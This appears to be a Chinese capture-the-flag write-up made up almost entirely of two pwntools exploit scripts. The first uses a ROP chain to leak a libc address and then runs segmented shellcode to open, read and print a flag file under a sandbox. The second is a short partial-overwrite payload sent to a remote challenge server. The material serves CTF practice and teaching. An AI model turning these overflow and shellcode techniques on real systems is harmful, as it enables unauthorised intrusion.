沙盒orw且分段shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug', os='linux')
p =process("./shellcode")
elf=ELF('shellcode')
#p = remote('39.100.87.38',23081)
pop_rdi_ret=0x0000000000400863
jmp_rsp=0x0000000000400785
vuln=0x000000000400760
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

#第一段shellcode,制造一个flag,地址给r12(给rdi会被中途破坏掉)给open预备里面有push,所以是0x28
shellcode1='''
push 0x67616c66
mov r12,rsp
sub rsp,0x28
ret
'''
#拿到libc
payload=p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)+b'a'*8+p64(jmp_rsp)+asm(shellcode1) #8字节
p.sendlineafter("Can u pwn me?",payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
open_addr = libc_base + libc.dump('open')
read_addr = libc_base + libc.dump('read')
write_addr = libc_base + libc.dump('write')
binsh_addr = libc_base + libc.dump('str_bin_sh')
ret_addr=0x000000000040053e
#利用第一个sc放到r12里的flag传给rdi,准备好所有寄存器,调用open
shellcode2='''
mov rdi,r12
xor esi,esi
sub rsp,0x30
ret
'''
payload=p64(open_addr)+p64(main)+b'a'*24+p64(jmp_rsp)+asm(shellcode2) #8字节
p.sendlineafter("Can u pwn me?",payload)

#准备read的寄存器
shellcode3='''
mov rsi,rsp
mov edx,0x100
xor eax,eax
sub rsp,0x30
ret
'''
#调用read
payload=p64(pop_rdi_ret) + p64(3) + p64(read_addr) + p64(main)+b'a'*8+p64(jmp_rsp)+asm(shellcode3) #8字节
p.sendafter("Can u pwn me?",payload)


#直接调用write(1,file,0x100)
shellcode4='''
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
ret
'''
payload=p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)+b'a'*8+p64(jmp_rsp)+asm(shellcode4) #8字节
p.sendlineafter("Can u pwn me?",payload)
p.interactive()

不稳定的ez_ret2_backdoor

1
2
3
4
5
6
7
8
9
10
from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug', os='linux')
#p =process("./pwn")
#elf=ELF('shellcode')
p = remote('39.100.87.38',23127)
#attach(p)
payload=p32(0x0804849B)*11+b'a'
p.sendlineafter("Welcome to Partial_overwrite",payload)
p.interactive()